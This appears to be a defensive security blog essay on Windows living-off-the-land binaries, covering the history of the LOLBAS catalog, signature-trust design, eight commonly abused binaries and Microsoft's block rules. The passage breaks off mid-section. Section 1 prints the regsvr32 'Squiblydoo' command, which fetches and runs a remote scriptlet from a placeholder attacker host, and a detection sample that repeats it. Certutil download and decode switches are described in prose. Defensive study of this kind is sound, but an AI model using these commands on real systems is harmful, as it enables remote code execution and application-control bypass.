# Living Off the Land on Windows: The LOLBin Catalog and the Structural Ceiling Microsoft Cannot Break

> How a 1996 Authenticode design choice produced the LOLBin class, why the LOLBAS catalog has 207 binaries and Microsoft only blocks ~40, and why that gap is permanent.

*Published: 2026-05-26*
*Canonical: https://paragmali.com/blog/living-off-the-land-on-windows-the-lolbin-catalog-and-the-st*
*License: CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/*

---
<TLDR>
**Living-off-the-land binaries (LOLBins) are Microsoft-signed Windows executables that attackers coerce into doing useful work** -- run scripts, fetch payloads, sidestep allow-lists. The community LOLBAS catalog lists 207 of them as of May 2026. Microsoft's App Control Recommended Block Rules deny about 40. The 167-binary gap is not a backlog. It is the structural ceiling: Windows administration *requires* powerful, signed, trusted utilities. This article traces the class from a 1996 Authenticode trade-off through Casey Smith's 2016 Squiblydoo, the 2018 founding of LOLBAS, and Microsoft's four-generation response, and argues the class is permanent.
</TLDR>

## 1. The Four-Line Bypass That Cannot Be Patched

On April 19, 2016 [@attack-t1218-010], a researcher named Casey Smith published a four-line command on a personal Blogspot site. The command coerced a Microsoft-signed system binary into fetching and executing arbitrary JScript from an attacker-controlled URL, in memory, with nothing written to disk, on a Windows endpoint with AppLocker in *enforce* mode [@lolbas-regsvr32]. Ten years and three Microsoft defensive generations later, you can paste the same four lines into a default-configured Windows 11 box and watch it succeed. This article explains why.

The command is short enough to memorize:

```
regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll
```

Every part of it is normal. `regsvr32.exe` is the operating system's COM registration utility, shipped in every Windows release since NT 4. The `/i:URL` switch is documented [@lolbas-regsvr32]: it passes an *installation parameter* to a COM scriptlet. `scrobj.dll` is the Microsoft Script Component runtime. The `.sct` extension is the documented Microsoft Script Component file format. Smith was not exploiting a buffer overflow or a logic flaw. He was using the binary the way Microsoft designed it.

What is not normal is who controls the URL. When `regsvr32.exe` fetches that `.sct` over HTTP and hands it to `scrobj.dll`, the scriptlet's body runs inside a Microsoft-signed parent process. The `/s` flag suppresses dialog boxes, `/n` tells `regsvr32` not to call `DllRegisterServer`, and `/u` reverses the operation -- so no registry change persists. The result: arbitrary JScript or VBScript running as the logged-on user, parented to a binary the default AppLocker policy admits by publisher, with no file on disk and no registry breadcrumb. Smith published the technique on April 19, 2016; Carbon Black named it *Squiblydoo* in its April 28, 2016 threat advisory, and the MITRE ATT&CK page for the technique attributes the name to that advisory [@attack-t1218-010]. The trade press picked the name up within days: by April 29 The Register was running a headline about "hipster hackers" and routing readers to the Carbon Black writeup for the naming origin [@reg-squiblydoo].

<Definition term="Squiblydoo">
The specific technique of abusing `regsvr32.exe` with the `/i:URL` switch to fetch and execute a remote COM scriptlet (`.sct` file) containing attacker-controlled JScript or VBScript. Disclosed by Casey Smith on April 19, 2016; named *Squiblydoo* by Carbon Black's April 28, 2016 threat advisory; tracked by MITRE ATT&CK as sub-technique T1218.010 [@attack-t1218-010].
</Definition>

<Mermaid caption="The Squiblydoo execution chain: a Microsoft-signed parent process pulls a remote script through a documented COM helper, then runs it in-memory.">
sequenceDiagram
    participant User as User shell
    participant Regsvr32 as regsvr32.exe (signed)
    participant Scrobj as scrobj.dll (signed)
    participant Remote as Attacker HTTP server
    participant JScript as JScript engine
    User->>Regsvr32: regsvr32 /s /n /u /i:URL scrobj.dll
    Regsvr32->>Scrobj: Load COM scriptlet runtime
    Scrobj->>Remote: GET /x.sct
    Remote-->>Scrobj: scriptlet XML with embedded JScript body
    Scrobj->>JScript: Evaluate script body in-process
    JScript-->>User: Arbitrary code runs as the user
</Mermaid>

The reason this bypass is famous is not the technique. It is the *invariance*. Microsoft has shipped App Control for Business, the Recommended Block Rules deny list, Smart App Control, AMSI, the Windows Resiliency Initiative, and the Microsoft Vulnerable Driver Blocklist in the intervening decade [@ms-bypass-rules] [@ms-sac-overview] [@ms-driver-blocklist] [@ms-wri-nov2024]. None of those controls is enabled by default on a freshly installed Windows 11 Home or Pro endpoint, and none of them blocks Squiblydoo without administrator action. Casey Smith's command is the security industry's longest-lived working proof-of-concept against the *defaults* of a flagship operating system.

A defender watching this from an EDR console sees a specific shape: a parent process (often `cmd.exe`, `explorer.exe`, an Office app, or a script host) spawns `regsvr32.exe`, and the command line contains `/i:http`. That parent-child pattern plus a URL in the argument list is the entire detection surface. Most defenders write it as a [Sysmon Event ID 1](/blog/from-cmdexe-to-a-kusto-row-in-90-seconds-how-sysmon-and-defe/) (process create) rule.

<RunnableCode lang="js" title="A minimal Squiblydoo detection: parent-child + argument inspection">{`
// Simulated EDR rule: flag any child regsvr32.exe whose command line
// references a remote URL. This is the canonical detection shape that
// SOC analysts have been writing for ten years.
function isSquiblydoo(event) {
  const child = (event.image || '').toLowerCase();
  const cmd   = (event.commandLine || '').toLowerCase();
  if (!child.endsWith('\\\\regsvr32.exe')) return false;
  // /i:http or /i:https with a URL argument is the load-bearing signal.
  return /\\/i:https?:\\/\\//.test(cmd);
}

const sample = {
  image: 'C:\\\\Windows\\\\System32\\\\regsvr32.exe',
  parentImage: 'C:\\\\Windows\\\\System32\\\\cmd.exe',
  commandLine: 'regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll'
};
console.log('Squiblydoo match:', isSquiblydoo(sample));
`}</RunnableCode>

The detection works. It is also, by 2026, a checked box in every commercial EDR. The persistence of the bypass therefore raises two questions the rest of this article must answer. First: how can a ten-year-old, publicly-named, vendor-acknowledged technique still work on the default configuration of the world's most-deployed desktop operating system? Second: is `regsvr32` an exotic one-off, or is Squiblydoo the visible tip of a structural class that runs the length of the Windows binary catalog? The honest answers sit at opposite ends of an architectural argument, and the road between them runs through a community catalog with 207 entries.

## 2. Five Years From Coined Phrase to Catalog

When did *living off the land* become a phrase defenders said out loud? The answer is a specific evening in Louisville, Kentucky. On September 27, 2013, at DerbyCon 3 ("All in the Family"), Christopher Campbell and Matt Graeber gave a talk titled *Living off the Land: A Minimalist's Guide to Windows Post-Exploitation* [@derbycon3-lol]. Their argument: an attacker on a Windows host could persist, escalate, pivot, and exfiltrate without dropping a single binary -- using only pre-installed signed Microsoft tools (`wmic`, `netsh`, `powershell`, scheduled tasks). Antivirus and host-intrusion-prevention products in 2013 were optimized to catch unsigned, third-party code. Campbell and Graeber pointed out that the entire offensive toolkit could be assembled out of vendor-supplied parts.

The phrase entered defender vocabulary, but the *catalog* did not exist yet. What happened between 2013 and 2018 was a slow accumulation of disclosures -- each one a Microsoft-signed binary, each one with a documented feature an attacker could repurpose [@enigma0x3-dnx] [@enigma0x3-rcsi] [@lolbas-msbuild] [@lolbas-installutil]. Casey Smith's April 2016 Squiblydoo [@attack-t1218-010] was followed by his MSBuild inline-task bypass [@lolbas-msbuild], his InstallUtil `/U` bypass [@lolbas-installutil], and a series of related developer-utility disclosures. Matt Nelson added `dnx.exe` on November 17, 2016 [@enigma0x3-dnx] and `rcsi.exe` four days later [@enigma0x3-rcsi]. By the end of 2016 a generic pattern was visible: any Microsoft-signed binary that could compile, interpret, deserialize, or fetch arbitrary content was a candidate.

In 2017-2018 the framing crystallized. Matt Graeber and Casey Smith spoke at BlueHat IL 2017; the conference materials sit in a community mirror that catalogs the session as a Graeber + Smith Windows trust talk [@bluehat-il-mirror]. The canonical *Subverting Trust in Windows* writeup came a year later, from Matt Graeber and Lee Christensen (SpecterOps), at TROOPERS 2018 -- it named *misplaced trust* as the mismatch between *the binary is signed by Microsoft* and *the binary's behavior is trustworthy when handed attacker-controlled arguments* [@specterops-subverting-trust]. The same year, Symantec's ISTR special report brought "living off the land" into the CISO vocabulary at scale [@symantec-istr-lotl]. The technique class was understood; what was missing was a name and a list.

The naming happened in 2018, on Twitter, in a six-week burst that the LOLBAS README still preserves as the project's origin story [@lolbas-github]. On March 1, 2018 (UTC; the LOLBAS README dates this to February 28 in the poster's local timezone), Philip Goh proposed the acronym *LOLBins* -- Living-Off-the-Land Binaries. On April 13, 2018 (UTC; the LOLBAS README dates this to April 14 in the poster's local timezone), Jimmy Bayne proposed *LOLScripts* for the script-host equivalent (no poll was taken). On April 15, Oddvar Moe ran a ratification poll asking the community to choose between *LOLBin* and *LOLBas*; LOLBin won with 69 percent of the vote. Three days later, on April 18, 2018 at `10:04:50 UTC`, Moe created the GitHub repository `api0cradle/LOLBAS` [@lolbas-api0cradle]. On June 8 the project moved to its organization-owned successor `LOLBAS-Project/LOLBAS` [@lolbas-org-api]. The catalog was live, versioned, and pull-request-driven.

<Sidenote>The Goh proposal, the Bayne proposal, and the Moe poll were all on what is now X. The original tweets sit behind a login wall today, but the LOLBAS README preserves the full chain of attribution and links the exact tweet IDs. Decoding the linked Twitter snowflakes yields UTC timestamps for the Goh and Bayne tweets that land one day after the LOLBAS-attributed local-time dates (March 1 and April 13 UTC, respectively); the article's prose uses the UTC dates because they are the only timestamps that are independently verifiable from the snowflake.</Sidenote>

Two more 2018 events matter. On August 17, 2018, Matt Graeber posted *Arbitrary Unsigned Code Execution Vector in Microsoft.Workflow.Compiler.exe*; the article appeared first on Medium and was republished on SpecterOps, and the LOLBAS Microsoft.Workflow.Compiler entry preserves the disclosure chain via the linked tweet and the SpecterOps URL in its Resources field [@lolbas-mwc]. The technique showed that a binary nobody had heard of -- the .NET Workflow Foundation rules compiler -- could compile and execute arbitrary unsigned C# given a crafted XOML file. The disclosure was important not for its novelty but for its obscurity: if `Microsoft.Workflow.Compiler.exe` was a LOLBin and nobody knew, how many other unscanned-for binaries shipped with the same primitive? The question would drive the catalog's growth over the next eight years.

The other event was the foundational talk. At DerbyCon 8 in Louisville, Kentucky, in October 2018, Oddvar Moe gave a presentation titled *#LOLBins -- Nothing to LOL about!* [@derbycon8-moe]. The LOLBAS README itself names this as the project's foundational talk [@youtube-moe-lolbins] [@lolbas-github], not the BlueHat IL 2019 session that some later secondary sources cite. By the project's own retrospective, the talk introduced the catalog to a wider audience and aligned the community around the inclusion criteria and YAML schema that govern the project today.

<Mermaid caption="From DerbyCon 3 coinage to DerbyCon 8 catalog: the five-year arc of LOLBin naming and tooling, 2013 to 2018.">
timeline
    title LOLBin coinage and catalog, 2013 to 2018
    2013-09-27 : DerbyCon 3 Campbell and Graeber coin "living off the land"
    2016-04-19 : Casey Smith publishes Squiblydoo (regsvr32 + COM scriptlet)
    2016-11    : Matt Nelson publishes dnx and rcsi bypasses
    2017       : Graeber and Smith speak at BlueHat IL 2017
    2018-03-01 : Philip Goh proposes "LOLBins" on Twitter (UTC)
    2018-03    : Graeber and Christensen present Subverting Trust in Windows at TROOPERS
    2018-04-13 : Jimmy Bayne proposes "LOLScripts" (UTC)
    2018-04-15 : Oddvar Moe poll ratifies "LOLBin" with 69 percent
    2018-04-18 : api0cradle/LOLBAS GitHub repo created
    2018-06-08 : LOLBAS-Project organization repo created
    2018-08-17 : Matt Graeber discloses Microsoft.Workflow.Compiler.exe
    2018-10    : Oddvar Moe DerbyCon 8 "#LOLBins -- Nothing to LOL about!"
</Mermaid>

<Definition term="LOLBin">
A Living-Off-the-Land Binary: a Microsoft-signed Windows executable, either native to the operating system or downloaded from Microsoft, that has "extra unexpected functionality" useful to an attacker or red team -- typically the ability to execute, download, encode, decode, compile, or otherwise weaponize attacker-controlled content. The term was ratified by community poll in April 2018; the canonical catalog is the LOLBAS project [@lolbas-github].
</Definition>

Five years from coined phrase to versioned, community-edited catalog. What took five years was not the technique -- the technique was already there in 2013, and Casey Smith had publicly demonstrated three flavors of it by the end of 2016. What took five years was *naming the class*. The naming mattered because it turned a stream of one-off disclosures into a defensible artifact: a list a SOC could subscribe to, a schema a detection engineer could parse, and -- as the next section argues -- a body of evidence for an architectural claim about Windows that nobody had yet been willing to articulate out loud. Why does the technique class exist? The answer is a 1996 design decision.

## 3. The Two Trust Axes Microsoft Decoupled in 1996

Why does the default AppLocker policy admit every Microsoft-signed binary on the disk? Because Microsoft made a deliberate trade-off in 2009, and that trade-off inherits an even deeper trade-off from 1996.

Start with the 1996 trade-off. [*Authenticode*](/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/) shipped with Internet Explorer 3.0 to answer one question: *was this code signed by a party I trust?* [@ms-crypto-tools] [@ms-authenticode-1996]. The mechanism is short to describe. A publisher (Microsoft, Adobe, the local IT shop) signs an executable's hash with a private key whose certificate chains to a root the operating system trusts. The signature travels with the file. At load time, Windows recomputes the hash, validates the signature, walks the certificate chain, and reports the verified publisher to whichever caller asked. That is the whole protocol.

<Definition term="Authenticode">
Microsoft's code-signing scheme, shipped with Internet Explorer 3.0 in 1996 [@ms-authenticode-1996]. Authenticode binds a publisher identity to a binary's hash via an X.509 certificate chain. Validation answers *who signed this file and was it modified after signing?* It does not -- and cannot -- describe what the file does when executed [@ms-crypto-tools].
</Definition>

Notice what Authenticode does *not* answer. It says nothing about what the binary does at runtime. It does not describe which APIs the binary calls, what arguments those calls accept, whether the binary loads external content, or whether the binary's documented behavior includes "execute attacker-controlled JScript fetched over HTTP." Authenticode signs; it does not characterize. That distinction is not a defect in the design -- it is the design. A signature scheme that tried to formally describe runtime behavior would need a semantic model of every signed program, which is the kind of problem theoretical computer science has spent fifty years calling undecidable.

Thirteen years later, in October 2009, AppLocker shipped with Windows 7 [@ms-applocker-overview]. AppLocker introduces *publisher rules*, *path rules*, and *hash rules* as the first-class Windows application-allow-list primitive. The interesting one is the publisher rule. AppLocker's default rule template admits every executable under `%windir%` or `%programfiles%` via three path-based rules (one each for executables, scripts, and Windows Installer files) [@ms-applocker-default-rules] -- which is where Microsoft's tens of thousands of signed binaries live -- and the canonical managed deployment adds a publisher rule that explicitly trusts the Microsoft signer chain [@ms-applocker-overview]. Either way, the practical effect is the same: every Microsoft-signed binary on a default Windows install inherits broad trust.

<Definition term="AppLocker">
The Windows 7 application-allow-list feature (shipped October 22, 2009) that admits or denies binary execution based on publisher signature, file path, or file hash rules. The default rules are path-based and admit every executable under `%windir%` or `%programfiles%` [@ms-applocker-default-rules]; canonical managed deployments add a publisher rule that trusts the Microsoft signer chain. Microsoft's own documentation now describes AppLocker as "a defense-in-depth security feature and not considered a defensible Windows security feature" [@ms-applocker-overview]; App Control for Business is the modern successor.
</Definition>

Why the default rule? Because the alternative -- a hash-by-hash allow list of every Microsoft-signed file -- breaks the day Patch Tuesday ships a new build of `mshtml.dll` or `cmd.exe`. A hash allow list at the scale of Windows is not maintainable. A path allow list is bypassed by file copy. The publisher rule is the only choice that makes the system deployable in a large enterprise without an army of administrators rebuilding policy XML every month. AppLocker's default rule was, by any pragmatic measure, the right call.

But that call inherits Authenticode's blindness. AppLocker decides whether a signed binary may run; Authenticode decides whether the signature is valid. Neither layer knows what the binary *does*. The two systems live on orthogonal trust axes:

<Mermaid caption="Authenticode answers the publisher question. AppLocker answers the policy question. Neither answers the behavior question -- and that gap is the LOLBin class.">
flowchart LR
    A["Authenticode signing<br/>Who signed this binary?"] --> B["AppLocker policy<br/>Is this publisher allowed?"]
    B --> C["Binary loads and runs"]
    C --> D["Runtime behavior<br/>What does this binary do with arguments?"]
    D -. unmeasured .-> E["Attacker-controlled script,<br/>DLL, XOML, or URL is executed"]
    style D stroke:#888,stroke-dasharray: 5 5
    style E stroke:#c33,stroke-width:2px
</Mermaid>

The point of the diagram is the dotted edge. There is no measurement of *D* before *C*. The control plane stops at the signature check, and the runtime behavior is the attacker's playground. That gap is exactly where Squiblydoo lives. `regsvr32.exe` is Microsoft-signed (Authenticode says *yes*). It is on the default AppLocker publisher rule (AppLocker says *yes*). It has a documented `/i:URL` switch that loads remote scriptlets (no layer measures this). The attacker supplies the URL.

> **Key idea:** Signature trust answers *who signed this?*. It cannot answer *what does this binary do at runtime?*. The LOLBin class is the runtime consequence of treating those as the same question.

This is the structural error -- and "error" is the wrong word, because it was a deliberate, documented trade-off both times. Authenticode in 1996 chose publisher identity over behavioral semantics because behavioral semantics is undecidable. AppLocker in 2009 chose publisher rules over hash rules because hash rules do not survive Patch Tuesday. Both choices were correct on their own terms. The LOLBin class is what happens when you compose two locally-correct choices and discover that the composition has a property neither original choice predicted.

Microsoft itself acknowledges the limit in writing. The current Microsoft Learn AppLocker overview contains the verbatim admission: *AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature* [@ms-applocker-overview]. The same documentation names App Control for Business as the modern successor and routes new deployments there.

<PullQuote>
"AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature." -- Microsoft Learn, AppLocker overview [@ms-applocker-overview]
</PullQuote>

The structural argument from this section is the rest of the article's load-bearing premise. If signature trust is decoupled from behavior trust *by construction*, then for every Microsoft-signed binary that exposes a "load and execute arbitrary script, DLL, or payload" surface there exists a LOLBin disclosure waiting to be discovered. The question becomes empirical: how many such binaries are there? In 2018 nobody knew. By May 2026 the LOLBAS catalog has counted 207, and the count is still growing.

## 4. The LOLBAS Catalog as a Data Structure

Most security catalogs are PDFs. LOLBAS is something different. It is a YAML file directory, a function taxonomy, an ATT&CK mapping, a pull-request contract, and a rendered frontend -- all on GitHub. To understand the LOLBin problem in 2026 you have to understand the catalog as an *artifact* the defender community built, not just a list of binaries.

The repository at `LOLBAS-Project/LOLBAS` [@lolbas-github] organizes its entries into four directories on disk, each with a per-entry YAML file. The May 2026 breakdown:

| Directory | Count | What it holds |
|---|---:|---|
| `yml/OSBinaries/` | 130 | Native Windows-shipped executables (`regsvr32`, `rundll32`, `mshta`, `certutil`, ...) |
| `yml/OtherMSBinaries/` | 77 | Microsoft-signed executables downloadable from Microsoft (Visual Studio, SDK, optional features) |
| `yml/OSLibraries/` | 17 | DLLs that can be loaded as LOLBin payloads (the LOLLib subclass) |
| `yml/OSScripts/` | 10 | Microsoft-shipped scripts (the LOLScript subclass) |
| **Total** | **234** | 207 binaries plus 27 libraries and scripts |

<Definition term="LOLScript">
A Living-Off-the-Land Script: a Microsoft-signed script file (typically `.vbs`, `.js`, `.ps1`, or `.bat`) shipped with Windows that an attacker can invoke for proxy execution, file download, or privilege manipulation. LOLScripts are tracked in the `yml/OSScripts/` directory of the LOLBAS repository [@lolbas-github]. The companion category for DLLs is *LOLLib*.
</Definition>

The 207-binary figure is the one that matters for the architectural argument later, and it is not folklore. It is a primary-source count derived by enumerating the four directory listings against the live repository on May 26, 2026 [@lolbas-org-api]. The repository as of that date has 8,567 stars and 1,135 forks.

Each entry follows a strict YAML schema [@lolbas-yml-template]. The mandatory fields are `Name`, `Description`, `Author`, `Created`, one or more `Commands` blocks, `Full_Path`, `Code_Sample`, `Detection`, `Resources`, and `Acknowledgements`. Inside each `Commands` block sits the function taxonomy that defenders read first.

<Mermaid caption="A LOLBAS YAML entry as a tree: each binary expands to one or more Commands, each Command tagged with a Category from the function taxonomy and a MITRE ATT&CK technique ID.">
flowchart TD
    Entry["YAML entry: Name<br/>Description, Author, Created"]
    Entry --> Commands["Commands[]"]
    Commands --> C1["Command 1: command-line invocation"]
    Commands --> C2["Command 2: command-line invocation"]
    C1 --> Use["Use: plain-English description"]
    C1 --> Category["Category: Execute, Download, Compile, AWL Bypass, ..."]
    C1 --> Priv["Privileges: User or Admin"]
    C1 --> Mitre["MitreID: T1218.010, T1127.001, ..."]
    Entry --> Paths["Full_Path[]: where the binary lives on disk"]
    Entry --> Detect["Detection[]: vendor-curated detection links"]
    Entry --> Refs["Resources[]: primary disclosures and writeups"]
    Entry --> Ack["Acknowledgements[]: credited researchers"]
</Mermaid>

The function taxonomy is a closed set of eleven categories: `Execute`, `Download`, `Copy`, `Encode`, `Decode`, `Compile`, `Credentials`, `AWL Bypass`, `AWL Bypass + UAC Bypass`, `Reconnaissance`, and `Dump`. Every command in the catalog carries exactly one of those tags. The vocabulary is small because the surface is small. A Microsoft-signed binary, by definition, was not designed to do these things, so the abuse primitives concentrate at a small number of recognizable shapes.

The gate that decides whether a binary is admitted to the catalog is published verbatim in the repository README [@lolbas-github]:

<PullQuote>
"Must be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra 'unexpected' functionality. ... Have functionality that would be useful to an APT or red team." -- LOLBAS criteria [@lolbas-github]
</PullQuote>

The two clauses do most of the project's editorial work. The first clause -- *Microsoft-signed, native or downloaded from Microsoft* -- is what aligns the catalog with the AppLocker default publisher rule from Section 3. A binary that does not pass that gate is somebody else's problem (probably an EV-certificate review). The second clause -- *extra unexpected functionality, useful to an APT or red team* -- is what excludes binaries whose abuse pattern is documented behavior nobody disputes (`cmd.exe` running a script is not a LOLBin; `regsvr32.exe` fetching a script from `http://` is).

Governance is pull-request-driven and run by a named maintainer group: Oddvar Moe (the original creator), Jimmy Bayne, Conor Richard, Chris "Lopi" Spehn, Liam Somerville, Wietze Beukema, and Jose Hernandez [@lolbas-github]. The model is the one Linux distributions use for package metadata: a small editorial board, public submission, public review, semver-style additions. The repository receives regular pull requests; the May 2026 commit log shows entries dated 2026 alongside the 2018 founders [@lolbas-org-api]. The rendered frontend at `lolbas-project.github.io` exposes the same data as a browsable per-binary site [@lolbas-frontend].

<Sidenote>The LOLBAS frontend at `lolbas-project.github.io` is visually modelled on GTFOBins, the Unix analogue maintained by Andrea Cardaci and Emilio Pinna [@gtfobins]. The LOLBAS README explicitly thanks GTFOBins for the rendering pattern. The two projects share the same conceptual move -- a community catalog of vendor-shipped utilities with attacker-useful side effects -- applied to different platforms.</Sidenote>

The catalog's status as a *data structure* is what distinguishes it from a textbook chapter. Splunk's Threat Research team publishes detection content keyed directly to LOLBAS entries [@splunk-detection]; the MITRE ATT&CK pages for T1218, T1216, T1127, T1197, T1140, and T1105 cite individual LOLBAS pages as primary references [@attack-t1218]; CISA's joint LOTL guidance with the NSA, FBI, ASD/ACSC, NCSC-UK, and others mirrors the LOLBAS structure in its detection annexes [@cisa-lotl]. The catalog is the canonical input to every downstream defense product that takes LOLBins seriously.

Two hundred and seven binaries. The next question is the question every defender asks the first time they look at the list: of those 207, which ones actually show up in real incidents, and what makes the recurring offenders special? That is the field guide.

## 5. The Canonical Eight: A Field Guide

Of the 207 binaries in the LOLBAS catalog, eight anchor most real-world incidents. Each one tells the same story: *a Microsoft-signed utility doing what it was designed to do, with attacker-controlled arguments*. These eight are the canonical introduction to the class, the binaries every SOC writes detections for first, and the binaries Microsoft's Recommended Block Rules either deny by default or pointedly do not.

| Binary | First disclosed | Abuse primitive | MITRE ATT&CK | On App Control deny list? |
|---|---|---|---|---|
| `regsvr32.exe` | Casey Smith, 2016-04-19 | Squiblydoo: remote `.sct` via `/i:URL` | T1218.010 [@attack-t1218-010] | No |
| `rundll32.exe` | Multiple disclosures | Load and invoke any exported DLL function | T1218.011 [@attack-t1218-011] | No |
| `mshta.exe` | Pre-LOLBAS, IE5 era | Run JScript or VBScript from `.hta` file or URL | T1218.005 [@attack-t1218-005] | Yes |
| `certutil.exe` | Pre-LOLBAS folklore | `-urlcache` download, `-decode` payload decoder | T1140, T1105 | No |
| `bitsadmin.exe` | Pre-LOLBAS folklore | BITS-channel download primitive | T1197 [@attack-t1197] | No |
| `msbuild.exe` | Casey Smith, 2016 | Inline-task compile-and-run C# | T1127.001 [@attack-t1127] | Yes, with caveat |
| `installutil.exe` | Casey Smith, 2016 | `/U` invokes `[RunInstaller(true)]` class | T1218.004 [@attack-t1218-004] | Yes (unconditional) |
| `Microsoft.Workflow.Compiler.exe` | Matt Graeber, 2018-08-17 | XOML-driven C#/VB.NET compile-and-execute | T1127 [@attack-t1127] | Yes |

The table looks orderly. The pattern inside it is not.

**`regsvr32.exe`** is the article's opening case, the most famous LOLBin in history, and -- conspicuously -- *not* on the App Control Recommended Block Rules deny list [@ms-bypass-rules]. The reason is operational. `regsvr32` is the OS-bundled mechanism for installing and uninstalling COM servers; denying it would break legacy installers, in-place upgrades of components like ODBC drivers, and a broad sweep of administrative tooling. Microsoft's choice is to *detect* Squiblydoo via behavioral signals (parent-child anomaly, `/i:http` argument) rather than *deny* the binary outright.

<Sidenote>The conspicuous absence of `regsvr32.exe` from the Recommended Block Rules is one of the most-revealing facts in the LOLBin literature. Microsoft is saying, in policy form: we cannot take this binary off the disk, we cannot deny it at App Control, and we trust your EDR or your ASR rules to catch the abusive invocations. The detection burden is structurally transferred from the platform to the customer.</Sidenote>

**`rundll32.exe`** is the longest-lived AWL bypass primitive in the catalog. Almost every COM out-of-process invocation in Windows uses it, and many shell namespace extensions invoke it. Denying `rundll32.exe` would render the desktop nearly inoperable. It is, like `regsvr32`, on the *detect, do not deny* side of the line.

**`mshta.exe`** is on the Recommended Block Rules list. Microsoft can deny it because HTA files are a 1999 technology (the HTML Application format was introduced with Internet Explorer 5 [@ms-hta-overview]) and the platform no longer requires `mshta.exe` to be functional for routine operation [@ms-bypass-rules].

<Aside label="Why this binary has the name it has">
`mshta.exe` -- Microsoft HTML Application Host -- ships with every modern Windows release. The binary's reason for existing was Internet Explorer's HTML Application (HTA) format, introduced with Internet Explorer 5 in 1999, so administrators could write GUI applications in HTML, CSS, and JScript without an IDE [@ms-hta-overview]. Internet Explorer 11 was retired on June 15, 2022 [@ms-ie11-lifecycle]. HTA support remains, because removing it would break a long tail of internal corporate tooling. `mshta.exe` is the canonical example of a binary that outlived its motivating product by more than two decades and now exists primarily so attackers can run JScript in a signed process.
</Aside>

**`certutil.exe`** is one of the field's quiet recurring offenders. Two switches drive most of its abuse: `-urlcache -split -f` downloads an arbitrary URL to disk, and `-decode` decodes Base64 or hex payloads. Neither is documented as a security feature; both are necessary for legitimate certificate-management workflows. `certutil` is *not* on the App Control deny list.

**`bitsadmin.exe`** and its PowerShell sibling `Start-BitsTransfer` drive downloads through the Background Intelligent Transfer Service, the same channel Windows Update uses. The traffic looks like normal Windows traffic at the network layer. BITS Jobs is tracked as T1197 [@attack-t1197]. `bitsadmin.exe` is not on the deny list either.

**`msbuild.exe`** is the most interesting case in the table because Microsoft's response is published verbatim and is *context-dependent*. The Recommended Block Rules entry for `msbuild.exe` reads:

<PullQuote>
"If you're using your reference system in a development context and use msbuild.exe to build managed applications, we recommend that you allow msbuild.exe in your code integrity policies. Otherwise, we recommend that you block msbuild.exe." -- Microsoft Learn, Applications that can bypass App Control [@ms-bypass-rules]
</PullQuote>

That single sentence is the structural argument from Section 9 in microcosm. The deny list cannot decide for itself whether `msbuild.exe` is a LOLBin; the answer depends on whether the endpoint is a developer workstation.

**`installutil.exe`** is the .NET Framework installer-class entry-point runner. Casey Smith's 2016 disclosure showed that `installutil.exe /U mybinary.exe` invokes any class decorated with `[System.ComponentModel.RunInstaller(true)]`, regardless of whether that class is part of an installer. The technique is documented at LOLBAS [@lolbas-installutil] and tracked as T1218.004 [@attack-t1218-004]. `installutil.exe` *is* on the App Control deny list, unconditionally (any version) [@ms-bypass-rules], in contrast to `msbuild.exe`'s development-context caveat. That `installutil.exe` is denied by default *and* the LOLBin class persists anyway is the strongest small evidence that revocation is not the same as elimination.

**`Microsoft.Workflow.Compiler.exe`**, also known as `wfc.exe`, is the canonical worst case. The binary is part of .NET Workflow Foundation. It accepts a pair of file arguments -- an input file (any extension; LOLBAS lists XOML as the canonical form) containing a `CompilerInput` XML element with the attacker's C# or VB.NET source, and a log-file output path. The compiler compiles the embedded source and executes it in-process [@lolbas-mwc]. LOLBAS tracks it under T1127 (Trusted Developer Utilities Proxy Execution) [@attack-t1127], alongside `msbuild.exe`, `dnx.exe`, and `rcsi.exe`. Matt Graeber's August 17, 2018 disclosure [@lolbas-mwc] demonstrated end-to-end unsigned-C# execution via a single command line. It *is* on the App Control Recommended Block Rules list [@ms-bypass-rules]. Microsoft cannot remove the binary from Windows without breaking Workflow Foundation, but it can pin it as denied-by-default and direct developers who need it to allow-list it explicitly.

<Definition term="Microsoft.Workflow.Compiler chain">
The abuse chain in which `Microsoft.Workflow.Compiler.exe` (a .NET Workflow Foundation utility, also distributed as `wfc.exe`) is invoked with an attacker-supplied input file -- any extension, canonical form XOML -- that contains a `CompilerInput` XML element holding C# or VB.NET source, plus a log-file output path. The compiler compiles the embedded source and executes the resulting assembly in-process. Disclosed by Matt Graeber on August 17, 2018 [@lolbas-mwc]. Now denied by default in Microsoft's App Control Recommended Block Rules [@ms-bypass-rules].
</Definition>

Notice the pattern across the eight: each binary is either *on* the Recommended Block Rules or it *isn't*, and the binaries that are not on the list are the ones administrators cannot live without. The deny list, in other words, is *bounded*: not by Microsoft's diligence, but by what Windows administration requires. How bounded? That is Section 6.

## 6. The Defensive Patchwork: Four Generations of Response

If you tried to fix Squiblydoo in 2016, the only primitive available was a per-binary AppLocker Deny rule. You wrote a rule that named `regsvr32.exe`, you deployed it via Group Policy, and you watched an attacker bypass it by copying the binary to a writable directory and renaming it. Microsoft's response over the following eight years can be told as four generations of control. Each one closes a specific bypass class in the previous. None touches the defining property of the class itself.

### Generation 0: Software Restriction Policies (2001-2009)

Before AppLocker there was *Software Restriction Policies* (SRP), introduced with Windows XP and Windows Server 2003. SRP supported hash and path rules but had no first-class publisher rule. The policy language could not express *trust anything signed by Microsoft*. At enterprise scale, SRP was unmaintainable. AppLocker explicitly superseded it; Microsoft now directs new deployments to AppLocker and App Control for Business rather than SRP [@ms-applocker-overview]. Generation 0 failed not because it was bypassed but because it was undeployable.

### Generation 1: AppLocker with the default Microsoft publisher rule (2009-2017)

AppLocker, as Section 3 described, made application allow-listing deployable by introducing the publisher rule and pre-populating the default rule set to admit Microsoft-signed binaries [@ms-applocker-overview]. Squiblydoo (April 19, 2016) was the existence proof that the default rule was simultaneously *necessary for deployment* and *insufficient for security*. The standard mitigation in this era -- write a per-binary AppLocker Deny rule for `regsvr32.exe`, `mshta.exe`, and friends -- ran into a concrete worked counterexample:

